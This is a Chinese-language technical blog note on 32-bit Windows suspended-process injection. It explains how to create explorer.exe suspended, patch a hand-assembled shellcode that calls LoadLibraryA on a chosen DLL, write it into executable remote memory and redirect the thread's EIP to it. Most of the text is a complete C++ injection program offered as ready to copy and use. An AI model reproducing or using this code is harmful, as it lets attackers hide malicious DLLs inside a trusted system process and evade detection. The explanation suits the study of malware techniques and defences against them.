ring3 x32掛起進程注入原理.

  • 2019 年 12 月 11 日
  • 筆記

目錄

一丶掛起進程注入簡介與前言

掛起進程其實就是在創建進程的時候不讓其先執行.然後獲取它的EIP 將它的EIP變成我們ShellCode所在的內存.進行執行.不難.

主要分為幾步:

1.以CREATE_SUSPENDED標誌掛起創建一個你想注入的進程 2.獲取這個進程的上下文環境 GetThreadContext 64位下使用Wow64GetThreadContext 請注意.CONTEXT結構還是同一個.使用64的會出錯.親測.(EIP注入的時候測試過.不相信可以去試試) 3.定義自己的ShellCode. ShellCode主要作用就是注入指定路徑下的DLL 4.修復ShellCode 因為畢竟ShellCode地址是絕對的所以修復下即可. 5.在目標進程中申請遠程可讀寫執行內存.並且將修復好的ShellCode寫入到目標進程 6.將EIP修改為可讀寫內存的地址.恢複線程則會調用到我們申請地址位置處開始執行.

7.釋放一系列資源.

綜上所述.其實沒有難點.掛起進程注入主要的核心思想就是 掛起進程修改EIP為我們ShellCode起始位置.然後進行調用即可.

這裡核心主要是ShellCode

ShellCode如下:

UCHAR g_ShellCode[] = {       0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修復     0x60,                            //puad     0x9C,                            //pushfd     0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代碼重定位     0x5B,                            //pop ebx     0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加     0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址     0x51,                            //push ecx     0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修復LoadLibraryA的地址     0xFF,0XD0,                       //call eax  為啥使用Mov reg,address call reg. 自己去坑吧.     0x9D,                            //popfd     0x61,                            //popad     0xC3,                            //ret   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  };

ShellCode主要知識點有三個

1.保存contex.EIP 2.重定位LoadLibrary的參數 3.重定位LoadLibrary的地址

下面主要針對這幾點講解.

二丶ShellCode核心講解.

2.1 保存Contex.EIP

首先掛起進程注入. 你通過CONTEXT 這個結構可以獲取 目標進程EIP.但是你要想辦法執行完ShellCode之後跳轉回去. 所以這裡我使用了一個簡單的方法

push Address  ret

這個方式是利用堆棧.以及ret指令來進行返回的. 當我們保存了原始地址.然後ret的時候.ret會把我們push的地址當做返回地址來執行.

2.2 DLL路徑重定位

我們正常來說.調用LoadLibraryA/W的時候.都會進行參數壓棧進而進行調用. 如:

push xxxx地址 (地址裏面是個DLL路徑)  call LoadLibraryA; 調用LoadLibrary

而為了方便我直接代碼重定位.直接將ShellCode尾部寫入我們的DLL路徑.

call $0:  pop ebx

使用這兩句可以得到ebx當前指令指定的EIP的地址. 直接當前 EIP + xxx偏移(偏移是你寫DLL路徑的位置的偏移) 就是我們的參數地址.

2.3 LoadLibrary的重定位

當你直接使用 Call的方式調用LoadLibrary的時候.你還需要計算偏移.各種等等. 但是這種不需要的.為啥. 因為Windows在啟動後 kernel32的基址已經固定了.任何程序啟動都會默認加載 kernel32的.所以直接使用LoadLibrary當地址即可. 但是你使用Call的方式 (call LoadLibrary) 你還需要計算你的ShellCode 與LoadLibrary的偏移.所以我們直接使用寄存器來做.

mov reg,LoadLibrary  call reg

reg代表任意通用寄存器. 此時我們的ShellCode就可以正常運行了.通過以上步驟就可以開始運行了.

三丶 全部C++代碼.拷貝即可使用.

#include <windows.h>  #include <stdlib.h>  #include <stdio.h>  #include <string>    using namespace std;  UCHAR g_ShellCode[] = {       0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修復     0x60,                            //puad     0x9C,                            //pushfd     0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代碼重定位     0x5B,                            //pop ebx     0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加     0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址     0x51,                            //push ecx     0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修復LoadLibraryA的地址     0xFF,0XD0,                       //call eax  為啥使用Mov reg,address call reg. 自己去坑吧.     0x9D,                            //popfd     0x61,                            //popad     0xC3,                            //ret     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填寫為DLL路徑     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,     0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  //不夠可以繼續添加  };  /*  1.掛起創建Explorer  2.創建ShellCode  3.獲取上下文環境  4.申請遠程內存 寫入ShellCode  5.回去上下文環境  ShellCode 可以寫定位LoadLibrary 然後進行調用  */    //1.掛起創建 Explorer  PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])  {        BOOL bRet = FALSE;      PPROCESS_INFORMATION pi = nullptr;      pi = new PROCESS_INFORMATION;;      if (pi == nullptr)      {          return nullptr;      }      STARTUPINFO si = { 0 };          si.cb = sizeof(STARTUPINFO);        //創建掛起進程      bRet =  CreateProcess(          SuspendProcessName.c_str(),          szComand,          nullptr,          nullptr,          FALSE,          CREATE_SUSPENDED,          nullptr,          nullptr,          &si,          pi);      if (bRet == FALSE)      {          return nullptr;      }          return pi;  }    //申請遠程內存  LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)  {      LPVOID lpBuffer = nullptr;      lpBuffer =          VirtualAllocEx(hProcess,              0,              0x1000,              flAllocation,              Protected          );        if (lpBuffer != nullptr)          return lpBuffer;      return nullptr;  }  //寫入ShellCode到遠程內存  DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)  {      //將ShellCode寫入到遠程內存      DWORD dwRet = 0;      SIZE_T siWriteBytes;      if (hProcess == 0)          return 0;      if (lpExRemoteMemory == nullptr)          return 0;      dwRet = WriteProcessMemory(          hProcess,          lpExRemoteMemory,          g_ShellCode,          sizeof(g_ShellCode) / sizeof(g_ShellCode[0]),          &siWriteBytes);      return dwRet;  }    //修復ShellCode,並且將DLL路徑寫入到ShellCode位置.  DWORD FixShellCode(DWORD dwContexEip,char* DllPath)  {      /*      縱觀全局數據區,ShellCode修復的位置有2處      1.首先要修復原Context的EIP. 這樣RET之後直接跳轉回去.      2.要修復LoadLibrary的地址.  因為Kernel32是直接加載的都是屬於內存映射.所以虛擬地址一樣.直接獲取填入即可.      不用修復DLLpath. 因為自動進行代碼重定位寫法了.      */        //1.修復EIP      __try      {            *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip;              //2.修復LodLibrary地址.            //修復          *(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA;            //將DLL內容拷貝到ShellCode存放路徑處          memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);      }      __except (EXCEPTION_EXECUTE_HANDLER)      {          //出錯了.      }          return 1;  }  void run()  {      DWORD dwRet = 0;      LPVOID lpStartRemoteAddress = nullptr;      //1.掛起創建進程      PPROCESS_INFORMATION pi = nullptr;      char szCmd[] = "";      pi = StartSuspendProcess("C:\Windows\SysWOW64\explorer.exe",szCmd);      if (!pi)      {          return;      }        //2.獲取進程上下文環境.      CONTEXT MyContext = { 0 };      MyContext.ContextFlags = CONTEXT_FULL;      dwRet =  GetThreadContext(pi->hThread, &MyContext);      if (!dwRet)      {          return;      }        //3.修復ShellCode的值.並且寫入自己的DLL路徑      char szDllPath[] = "填入你的DLL路徑.如: C:\xxx.dll";      dwRet = FixShellCode(MyContext.Eip,szDllPath);        //4.申請遠程內存      lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);      if (lpStartRemoteAddress == nullptr)      {          return ;      }        //5.將ShellCode寫入到內存中      dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress);        //6.恢復進程啟動,修改EIP為我們的ShellCode        MyContext.Eip = (DWORD)lpStartRemoteAddress;      SetThreadContext(pi->hThread, &MyContext);      ResumeThread(pi->hThread);    //請注意這裡 EIP修改為我們的ShellCode位置.還要恢複線程才會進行執行.      //釋放一系列資源      VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);      CloseHandle(pi->hProcess);      CloseHandle(pi->hThread);    }  int main()  {      run();        return 0;  }